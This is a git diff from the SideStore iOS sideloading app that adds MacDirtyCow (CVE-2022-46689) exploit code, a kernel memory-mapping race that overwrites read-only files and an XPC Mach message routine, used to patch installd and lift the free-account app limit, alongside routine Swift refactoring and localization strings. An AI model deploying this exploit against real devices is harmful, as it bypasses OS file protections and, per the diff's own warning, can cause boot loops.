+ printf("port allocation failed: %s\n", mach_error_string(err)); + return; + } + + mach_port_t so0 = get_send_once(client_port); + mach_port_t so1 = get_send_once(client_port); + + // insert a send so we maintain the ability to send to this port + err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND); + if (err != KERN_SUCCESS) { + printf("port right insertion failed: %s\n", mach_error_string(err)); + return; + } + + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); + if (err != KERN_SUCCESS) { + printf("port allocation failed: %s\n", mach_error_string(err)); + return; + } + + struct xpc_w00t msg; + memset(&msg.hdr, 0, sizeof(msg)); + msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); + msg.hdr.msgh_size = sizeof(msg); + msg.hdr.msgh_remote_port = service_port; + msg.hdr.msgh_id = 'w00t'; + + msg.body.msgh_descriptor_count = 2; + + msg.client_port.name = client_port; + msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send + msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR; + + msg.reply_port.name = reply_port; + msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND; + msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR; + + err = mach_msg(&msg.hdr, + MACH_SEND_MSG|MACH_MSG_OPTION_NONE, + msg.hdr.msgh_size, + 0, + MACH_PORT_NULL, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + + if (err != KERN_SUCCESS) { + printf("w00t message send failed: %s\n", mach_error_string(err)); + return; + } else { + printf("sent xpc w00t message\n"); + } + + mach_port_deallocate(mach_task_self(), so0); + mach_port_deallocate(mach_task_self(), so1); + + return; +} +#endif /* MDC */ diff --git a/AltStore/MDC/vm_unaligned_copy_switch_race.c b/AltStore/MDC/vm_unaligned_copy_switch_race.c new file mode 100644 index 000000000..040b9707b --- /dev/null +++ b/AltStore/MDC/vm_unaligned_copy_switch_race.c @@ -0,0 +1,364 @@ +#ifdef MDC +// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c +// modified to compile outside of XNU + +#include +#include +#include + +#include +#include +#include + +#include +#include + +#include "vm_unaligned_copy_switch_race.h" + +#define T_QUIET +#define T_EXPECT_MACH_SUCCESS(a, b) +#define T_EXPECT_MACH_ERROR(a, b, c) +#define T_ASSERT_MACH_SUCCESS(a, b, ...) +#define T_ASSERT_MACH_ERROR(a, b, c) +#define T_ASSERT_POSIX_SUCCESS(a, b) +#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) +#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) +#define T_ASSERT_TRUE(a, b, ...) +#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) +#define T_DECL(a, b) static void a(void) +#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) + +struct context1 { + vm_size_t obj_size; + vm_address_t e0; + mach_port_t mem_entry_ro; + mach_port_t mem_entry_rw; + dispatch_semaphore_t running_sem; + pthread_mutex_t mtx; + volatile bool done; +}; + +static void * +switcheroo_thread(__unused void *arg) +{ + kern_return_t kr; + struct context1 *ctx; + + ctx = (struct context1 *)arg; + /* tell main thread we're ready to run */ + dispatch_semaphore_signal(ctx->running_sem); + while (!ctx->done) { + /* wait for main thread to be done setting things up */ + pthread_mutex_lock(&ctx->mtx); + if (ctx->done) { + pthread_mutex_unlock(&ctx->mtx); + break; + } + /* switch e0 to RW mapping */ + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + ctx->mem_entry_rw, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW"); + /* wait a little bit */ + usleep(100); + /* switch bakc to original RO mapping */ + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO"); + /* tell main thread we're don switching mappings */ + pthread_mutex_unlock(&ctx->mtx); + usleep(100); + } + return NULL; +} + +bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) { + bool retval = false; + pthread_t th = NULL; + int ret; + kern_return_t kr; + time_t start, duration; +#if 0 + mach_msg_type_number_t cow_read_size; +#endif + vm_size_t copied_size; + int loops; + vm_address_t e2, e5; + struct context1 context1, *ctx; + int kern_success = 0, kern_protection_failure = 0, kern_other = 0; + vm_address_t ro_addr, tmp_addr; + memory_object_size_t mo_size; + + ctx = &context1; + ctx->obj_size = 256 * 1024; + + void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset); + if (file_mapped == MAP_FAILED) { + fprintf(stderr, "failed to map\n"); + return false; + } + if (!memcmp(file_mapped, overwrite_data, overwrite_length)) { + fprintf(stderr, "already the same?\n"); + munmap(file_mapped, ctx->obj_size); + return true; + } + ro_addr = (vm_address_t)file_mapped; + + ctx->e0 = 0; + ctx->running_sem = dispatch_semaphore_create(0); + T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create"); + ret = pthread_mutex_init(&ctx->mtx, NULL); + T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init"); + ctx->done = false; + ctx->mem_entry_rw = MACH_PORT_NULL; + ctx->mem_entry_ro = MACH_PORT_NULL; +#if 0 + /* allocate our attack target memory */ + kr = vm_allocate(mach_task_self(), + &ro_addr, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr"); + /* initialize to 'A' */ + memset((char *)ro_addr, 'A', ctx->obj_size); +#endif + + /* make it read-only */ + kr = vm_protect(mach_task_self(), + ro_addr, + ctx->obj_size, + TRUE, /* set_maximum */ + VM_PROT_READ); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr"); + /* make sure we can't get read-write handle on that target memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + ro_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, + &ctx->mem_entry_ro, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO"); + /* take read-only handle on that target memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + ro_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ, + &ctx->mem_entry_ro, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO"); + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); + /* make sure we can't map target memory as writable */ + tmp_addr = 0; + kr = vm_map(mach_task_self(), + &tmp_addr, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_ANYWHERE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); + tmp_addr = 0; + kr = vm_map(mach_task_self(), + &tmp_addr, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_ANYWHERE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); + + /* allocate a source buffer for the unaligned copy */ + kr = vm_allocate(mach_task_self(), + &e5, + ctx->obj_size * 2, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5"); + /* initialize to 'C' */ + memset((char *)e5, 'C', ctx->obj_size * 2); + + char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1); + memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length); + + int overwrite_first_diff_offset = -1; + char overwrite_first_diff_value = 0; + for (int off = 0; off < overwrite_length; off++) { + if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) { + overwrite_first_diff_offset = off; + overwrite_first_diff_value = ((char*)ro_addr)[off]; + } + } + if (overwrite_first_diff_offset == -1) { + fprintf(stderr, "no diff?\n"); + return false; + } + + /* + * get a handle on some writable memory that will be temporarily + * switched with the read-only mapping of our target memory to try + * and trick copy_unaligned to write to our read-only target. + */ + tmp_addr = 0; + kr = vm_allocate(mach_task_self(), + &tmp_addr, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory"); + /* initialize to 'D' */ + memset((char *)tmp_addr, 'D', ctx->obj_size); + /* get a memory entry handle for that RW memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + tmp_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, + &ctx->mem_entry_rw, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW"); + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); + kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr); + tmp_addr = 0; + + pthread_mutex_lock(&ctx->mtx); + + /* start racing thread */ + ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx); + T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create"); + + /* wait for racing thread to be ready to run */ + dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER); + + duration = 10; /* 10 seconds */ + T_LOG("Testing for %ld seconds...", duration); + for (start = time(NULL), loops = 0; + time(NULL) < start + duration; + loops++) { + /* reserve space for our 2 contiguous allocations */ + e2 = 0; + kr = vm_allocate(mach_task_self(), + &e2, + 2 * ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0"); + + /* make 1st allocation in our reserved space */ + kr = vm_allocate(mach_task_self(), + &e2, + ctx->obj_size, + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240)); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2"); + /* initialize to 'B' */ + memset((char *)e2, 'B', ctx->obj_size); + + /* map our read-only target memory right after */ + ctx->e0 = e2 + ctx->obj_size; + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241), + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro"); + + /* let the racing thread go */ + pthread_mutex_unlock(&ctx->mtx); + /* wait a little bit */ + usleep(100); + + /* trigger copy_unaligned while racing with other thread */ + kr = vm_read_overwrite(mach_task_self(), + e5, + ctx->obj_size - 1 + overwrite_length, + e2 + 1, + &copied_size); + T_QUIET; + T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE, + "vm_read_overwrite kr %d", kr); + switch (kr) { + case KERN_SUCCESS: + /* the target was RW */ + kern_success++; + break; + case KERN_PROTECTION_FAILURE: + /* the target was RO */ + kern_protection_failure++; + break; + default: + /* should not happen */ + kern_other++; + break; + } + /* check that our read-only memory was not modified */ +#if 0 + T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified"); +#endif + bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value; + + /* tell racing thread to stop toggling mappings */ + pthread_mutex_lock(&ctx->mtx); + + /* clean up before next loop */ + vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size); + ctx->e0 = 0; + vm_deallocate(mach_task_self(), e2, ctx->obj_size); + e2 = 0; + if (!is_still_equal) { + retval = true; + fprintf(stderr, "RO mapping was modified\n"); + break; + } + } + + ctx->done = true; + pthread_mutex_unlock(&ctx->mtx); + pthread_join(th, NULL); + + kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)"); + kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)"); + kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)"); + kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)"); + +#if 0 + T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d", + kern_success, kern_protection_failure, kern_other); + T_PASS("Ran %d times in %ld seconds with no failure", loops, duration); +#endif + return retval; +} +#endif /* MDC */ diff --git a/AltStore/MDC/vm_unaligned_copy_switch_race.h b/AltStore/MDC/vm_unaligned_copy_switch_race.h new file mode 100644 index 000000000..22ffae6d9 --- /dev/null +++ b/AltStore/MDC/vm_unaligned_copy_switch_race.h @@ -0,0 +1,10 @@ +#ifdef MDC +#pragma once +#include +#include +/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`. +/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY. +/// `overwrite_length` must be less than or equal to `PAGE_SIZE`. +/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable. +bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length); +#endif /* MDC */ diff --git a/AltStore/Managing Apps/AppManager.swift b/AltStore/Managing Apps/AppManager.swift index fc28cfba1..c10b7e90f 100644 --- a/AltStore/Managing Apps/AppManager.swift +++ b/AltStore/Managing Apps/AppManager.swift @@ -250,26 +250,26 @@ extension AppManager .filter { $0.bundleIdentifier != app.bundleIdentifier } // Don't count app towards total if it matches activating app .sorted { ($0.name, $0.refreshedDate) < ($1.name, $1.refreshedDate) } - var title: String = NSLocalizedString("Cannot Activate More than 3 Apps", comment: "") + var title: String = NSLocalizedString("Cannot Activate More than \(InstalledApp.freeAccountActiveAppsLimit) Apps", comment: "") let message: String if UserDefaults.standard.activeAppLimitIncludesExtensions { if app.appExtensions.isEmpty { - message = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions. Please choose an app to deactivate.", comment: "") + message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions. Please choose an app to deactivate.", comment: "") } else { - title = NSLocalizedString("Cannot Activate More than 3 Apps and App Extensions", comment: "") + title = NSLocalizedString("Cannot Activate More than \(InstalledApp.freeAccountActiveAppsLimit) Apps and App Extensions", comment: "") let appExtensionText = app.appExtensions.count == 1 ? NSLocalizedString("app extension", comment: "") : NSLocalizedString("app extensions", comment: "") - message = String(format: NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions, and “%@” contains %@ %@. Please choose an app to deactivate.", comment: ""), app.name, NSNumber(value: app.appExtensions.count), appExtensionText) + message = String(format: NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions, and “%@” contains %@ %@. Please choose an app to deactivate.", comment: ""), app.name, NSNumber(value: app.appExtensions.count), appExtensionText) } } else { - message = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps. Please choose an app to deactivate.", comment: "") + message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps. Please choose an app to deactivate.", comment: "") } let activeAppsCount = activeApps.map { $0.requiredActiveSlots }.reduce(0, +) diff --git a/AltStore/Operations/AuthenticationOperation.swift b/AltStore/Operations/AuthenticationOperation.swift index a502903e0..47700a175 100644 --- a/AltStore/Operations/AuthenticationOperation.swift +++ b/AltStore/Operations/AuthenticationOperation.swift @@ -242,7 +242,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1) if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion) { - UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit + UserDefaults.standard.activeAppsLimit = InstalledApp.freeAccountActiveAppsLimit } else { @@ -297,7 +297,7 @@ private extension AuthenticationOperation func present(_ viewController: UIViewController) -> Bool { if UnstableFeatures.enabled(.swiftUI) { - UIApplication.shared.keyWindow?.rootViewController?.present(viewController, animated: true) + UIApplication.topController?.present(viewController, animated: true) } else { guard let presentingViewController = self.presentingViewController else { return false } @@ -324,7 +324,7 @@ private extension AuthenticationOperation if let presentingViewController { presentingViewController.dismiss(animated: true) } -// UIApplication.shared.keyWindow?.rootViewController?.presentedViewController?.dismiss(animated: true) +// UIApplication.topController?.dismiss(animated: true) } } @@ -450,15 +450,7 @@ private extension AuthenticationOperation completionHandler(nil) }) - let keyWindow = UIApplication.shared.windows.filter { $0.isKeyWindow }.first - - if var topController = keyWindow?.rootViewController { - while let presentedViewController = topController.presentedViewController { - topController = presentedViewController - } - - topController.present(alertController, animated: true, completion: nil) - } + UIApplication.topController?.present(alertController, animated: true, completion: nil) } } diff --git a/AltStore/Operations/FetchAnisetteDataOperation.swift b/AltStore/Operations/FetchAnisetteDataOperation.swift index a0b899c66..d6c15df9e 100644 --- a/AltStore/Operations/FetchAnisetteDataOperation.swift +++ b/AltStore/Operations/FetchAnisetteDataOperation.swift @@ -156,14 +156,8 @@ final class FetchAnisetteDataOperation: ResultOperation, WebSoc self.finish(.failure(OperationError.cancelled)) })) - let keyWindow = UIApplication.shared.windows.filter { $0.isKeyWindow }.first - DispatchQueue.main.async { - if let presentingController = keyWindow?.rootViewController?.presentedViewController { - presentingController.present(alert, animated: true) - } else { - keyWindow?.rootViewController?.present(alert, animated: true) - } + UIApplication.topController?.present(alert, animated: true) } } diff --git a/AltStore/Operations/InstallAppOperation.swift b/AltStore/Operations/InstallAppOperation.swift index bc8664989..c23b06ca3 100644 --- a/AltStore/Operations/InstallAppOperation.swift +++ b/AltStore/Operations/InstallAppOperation.swift @@ -187,11 +187,7 @@ final class InstallAppOperation: ResultOperation })) DispatchQueue.main.async { - let keyWindow = UIApplication.shared.windows.filter { $0.isKeyWindow }.first - if var topController = keyWindow?.rootViewController { - while let presentedViewController = topController.presentedViewController { - topController = presentedViewController - } + if var topController = UIApplication.topController { topController.present(alert, animated: true) } else { print("No key window? Let's just open Safari") diff --git a/AltStore/Resources/en.lproj/Localizable.strings b/AltStore/Resources/en.lproj/Localizable.strings index 236b4bad4..7e3625431 100644 --- a/AltStore/Resources/en.lproj/Localizable.strings +++ b/AltStore/Resources/en.lproj/Localizable.strings @@ -14,6 +14,7 @@ "Action.submit" = "Submit"; "Action.cancel" = "Cancel"; "Action.tryAgain" = "Try Again"; +"Action.success" = "Success"; /* NewsView */ "NewsView.title" = "News"; @@ -58,7 +59,6 @@ "SettingsView.addToSiri" = "Add to Siri..."; "SettingsView.refreshingApps" = "Refreshing Apps"; "SettingsView.switchToUIKit" = "Switch to UIKit"; -"SettingsView.resetImageCache" = "Reset Image Cache"; "SettingsView.debug" = "Debug"; "SettingsView.swiftUIRedesign" = "SwiftUI Redesign"; "SettingsView.credits" = "Credits"; @@ -73,6 +73,9 @@ "SettingsView.ResetPairingFile.description" = "If you are having issues with SideStore not being able to install/refresh apps or enable JIT, you can try resetting the pairing file. You will need to generate a new pairing file after doing this. SideStore will close when the file has been deleted."; "SettingsView.showRefreshAttempts" = "Show Refresh Attempts"; "SettingsView.showErrorLog" = "Show Error Log"; +"SettingsView.mdcPopup" = "You seem to be on iOS/iPadOS version 15.0-15.7.1 or 16.0-16.1.2 which means you can remove the 3 app limit that free developer accounts have by using the MacDirtyCow exploit. + +This is normally not included in SideStore since it triggers antivirus warnings, so you must download an IPA that includes MacDirtyCow separately from sidestore.io or install SideStore using the separate MacDirtyCow source."; /* ConnectAppleIDView */ "ConnectAppleIDView.startWithSignIn" = "Sign in with your Apple ID to get started."; @@ -191,12 +194,18 @@ You should only enable Developer Mode if you meet one of the following requireme "DevModeView.password" = "Password"; "DevModeView.incorrectPassword" = "Incorrect password."; "DevModeView.read" = "Read the text!"; -"DevModeView.console" = "Console"; -"DevModeView.dataExplorer" = "Data File Explorer"; -"DevModeView.tmpExplorer" = "Temporary File Explorer"; -"DevModeView.skipResign" = "Skip Resign"; -"DevModeView.footer" = "Skip Resign should only be used when you have an IPA that you have self signed. Otherwise, it will break things, and might make SideStore crash (there is absolutely no error handling and everything is expected to work)."; -"DevModeView.minimuxer" = "minimuxer debug actions"; +"DevModeView.General.header" = "General"; +"DevModeView.General.console" = "Console"; +"DevModeView.General.unstableFeaturesNightlyOnly" = "Unstable Features are only available on nightly builds, PR builds and debug builds."; +"DevModeView.General.resetImageCache" = "Reset Image Cache"; +"DevModeView.General.disableDevMode" = "Disable Developer Mode"; +"DevModeView.Files.header" = "Files"; +"DevModeView.Files.dataExplorer" = "Data File Explorer"; +"DevModeView.Files.tmpExplorer" = "Temporary File Explorer"; +"DevModeView.Signing.header" = "Signing"; +"DevModeView.Signing.skipResign" = "Skip Resign"; +"DevModeView.Signing.footer" = "Skip Resign should only be used when you have an IPA that you have self signed. Otherwise, it will break things, and might make SideStore crash (there is absolutely no error handling and everything is expected to work)."; +"DevModeView.Minimuxer.header" = "minimuxer debug actions"; "DevModeView.Minimuxer.dumpProfiles" = "Dump provisioning profiles to Documents directory"; "DevModeView.Minimuxer.afcExplorer" = "AFC File Explorer (check footer for notes)"; "DevModeView.Minimuxer.footer" = "Notes on AFC File Explorer: @@ -205,7 +214,8 @@ You should only enable Developer Mode if you meet one of the following requireme - It is currently limited to a maximum depth of 3 to ensure it doesn't take too long to iterate over everything when you open it - Very buggy - There are multiple unimplemented actions"; -"DevModeView.unstableFeaturesNightlyOnly" = "Unstable Features are only available on nightly builds, PR builds and debug builds."; +"DevModeView.Mdc.header" = "MDC"; +"DevModeView.Mdc.fakeUndo3AppLimitPatch" = "Tell SideStore installd has not been patched (may cause undefined behavior or boot loop if you apply the patch more than once on a real device!!)"; /* AsyncFallibleButton */ "AsyncFallibleButton.error" = "An error occurred"; @@ -234,3 +244,17 @@ Every unstable feature has a tracking issue, which contains info on what the uns /* RefreshAttemptsView */ "RefreshAttemptsView.title" = "Refresh Attempts"; + +/* Remove3AppLimitView */ +"Remove3AppLimitView.title" = "Remove 3 App Limit"; +"Remove3AppLimitView.notSupported" = "Sorry, the MacDirtyCow exploit is only supported on iOS/iPadOS versions 15.0-15.7.1 or 16.0-16.1.2."; +"Remove3AppLimitView.patchInfo" = "To remove the 3 app limit that free developer accounts have, SideStore will use the MacDirtyCow exploit to patch installd. The patch will be undone upon boot, so if you want to undo it, simply restart your device."; +"Remove3AppLimitView.alreadyPatched" = "It seems that installd has already been patched to remove the 3 app limit. Please know that the patch will be undone upon boot, so if the patch isn't working, try restarting your device and then apply the patch again using SideStore."; +"Remove3AppLimitView.tenAppsInfo" = "The patch will allow for 10 apps per Apple ID. If you need more than 10 apps, you can sideload SideStore again with a different Apple ID than the one you are using with this SideStore to allow for 10 more apps."; +"Remove3AppLimitView.applyPatch" = "Apply Patch"; +"Remove3AppLimitView.Errors.noFDA" = "Failed to get full disk access: %s"; +"Remove3AppLimitView.Errors.failedPatchd" = "Failed to patch installd"; +"Remove3AppLimitView.success" = "Successfully applied the patch!"; +"Remove3AppLimitView.NotAppliedAlert.message" = "It seems that you have not applied the patch that removes the 3 app limit. Would you like to apply the patch?"; +"Remove3AppLimitView.NotAppliedAlert.apply" = "Apply patch"; +"Remove3AppLimitView.NotAppliedAlert.continueWithout" = "Continue without patch"; diff --git a/AltStore/SceneDelegate.swift b/AltStore/SceneDelegate.swift index 6b9d2a068..e52b4d52d 100644 --- a/AltStore/SceneDelegate.swift +++ b/AltStore/SceneDelegate.swift @@ -140,26 +140,26 @@ private extension SceneDelegate } case "sidejit-enable": - guard UnstableFeatures.enabled(.jitUrlScheme) else { return UIApplication.alertOk(title: "JIT URL scheme unstable feature is not enabled", message: nil) } + guard UnstableFeatures.enabled(.jitUrlScheme) else { return UIApplication.alert(title: "JIT URL scheme unstable feature is not enabled", message: nil) } if let bundleID = queryItems["bid"] { DispatchQueue.main.async { do { try debug_app(bundleID) } catch { - UIApplication.alertOk(title: "An error occurred when enabling JIT", message: error.localizedDescription) + UIApplication.alert(title: "An error occurred when enabling JIT", message: error.message()) } } } else if let processID = queryItems["pid"] { DispatchQueue.main.async { do { - guard let processID = UInt32(processID) else { return UIApplication.alertOk(title: "An error occurred when enabling JIT", message: "Process ID is not a valid unsigned integer") } + guard let processID = UInt32(processID) else { return UIApplication.alert(title: "An error occurred when enabling JIT", message: "Process ID is not a valid unsigned integer") } try attach_debugger(processID) } catch { - UIApplication.alertOk(title: "An error occurred when enabling JIT", message: error.localizedDescription) + UIApplication.alert(title: "An error occurred when enabling JIT", message: error.message()) } } - } else { return UIApplication.alertOk(title: "An error occurred when enabling JIT", message: "Please specify a bundle ID using the `bid` query parameter or a process ID using `pid` query parameter") } + } else { return UIApplication.alert(title: "An error occurred when enabling JIT", message: "Please specify a bundle ID using the `bid` query parameter or a process ID using `pid` query parameter") } default: break } diff --git a/AltStore/SwiftUI/Generated/Localizations.swift b/AltStore/SwiftUI/Generated/Localizations.swift index f20d06984..8af42f41e 100644 --- a/AltStore/SwiftUI/Generated/Localizations.swift +++ b/AltStore/SwiftUI/Generated/Localizations.swift @@ -21,6 +21,8 @@ internal enum L10n { internal static let enable = L10n.tr("Localizable", "Action.enable", fallback: "Enable") /// Submit internal static let submit = L10n.tr("Localizable", "Action.submit", fallback: "Submit") + /// Success + internal static let success = L10n.tr("Localizable", "Action.success", fallback: "Success") /// Try Again internal static let tryAgain = L10n.tr("Localizable", "Action.tryAgain", fallback: "Try Again") } @@ -258,16 +260,8 @@ internal enum L10n { internal static let whyDoWeNeedThis = L10n.tr("Localizable", "ConnectAppleIDView.whyDoWeNeedThis", fallback: "Why do we need this?") } internal enum DevModeView { - /// Console - internal static let console = L10n.tr("Localizable", "DevModeView.console", fallback: "Console") - /// Data File Explorer - internal static let dataExplorer = L10n.tr("Localizable", "DevModeView.dataExplorer", fallback: "Data File Explorer") - /// Skip Resign should only be used when you have an IPA that you have self signed. Otherwise, it will break things, and might make SideStore crash (there is absolutely no error handling and everything is expected to work). - internal static let footer = L10n.tr("Localizable", "DevModeView.footer", fallback: "Skip Resign should only be used when you have an IPA that you have self signed. Otherwise, it will break things, and might make SideStore crash (there is absolutely no error handling and everything is expected to work).") /// Incorrect password. internal static let incorrectPassword = L10n.tr("Localizable", "DevModeView.incorrectPassword", fallback: "Incorrect password.") - /// minimuxer debug actions - internal static let minimuxer = L10n.tr("Localizable", "DevModeView.minimuxer", fallback: "minimuxer debug actions") /// Password internal static let password = L10n.tr("Localizable", "DevModeView.password", fallback: "Password") /// SideStore's Developer Mode gives access to a menu with some debugging actions commonly used by developers. **However, some of them can break SideStore if used in the wrong way.** @@ -281,14 +275,34 @@ internal enum L10n { internal static let prompt = L10n.tr("Localizable", "DevModeView.prompt", fallback: "SideStore's Developer Mode gives access to a menu with some debugging actions commonly used by developers. **However, some of them can break SideStore if used in the wrong way.**\n\nYou should only enable Developer Mode if you meet one of the following requirements:\n- You are a SideStore developer or contributor\n- You were asked to do this by a helper when getting support\n- You were asked to do this when you reported a bug or helped a developer test a change\n\n**_We will not provide support if you break SideStore with Developer Mode._**") /// Read the text! internal static let read = L10n.tr("Localizable", "DevModeView.read", fallback: "Read the text!") - /// Skip Resign - internal static let skipResign = L10n.tr("Localizable", "DevModeView.skipResign", fallback: "Skip Resign") /// DevModeView internal static let title = L10n.tr("Localizable", "DevModeView.title", fallback: "Developer Mode") - /// Temporary File Explorer - internal static let tmpExplorer = L10n.tr("Localizable", "DevModeView.tmpExplorer", fallback: "Temporary File Explorer") - /// Unstable Features are only available on nightly builds, PR builds and debug builds. - internal static let unstableFeaturesNightlyOnly = L10n.tr("Localizable", "DevModeView.unstableFeaturesNightlyOnly", fallback: "Unstable Features are only available on nightly builds, PR builds and debug builds.") + internal enum Files { + /// Data File Explorer + internal static let dataExplorer = L10n.tr("Localizable", "DevModeView.Files.dataExplorer", fallback: "Data File Explorer") + /// Files + internal static let header = L10n.tr("Localizable", "DevModeView.Files.header", 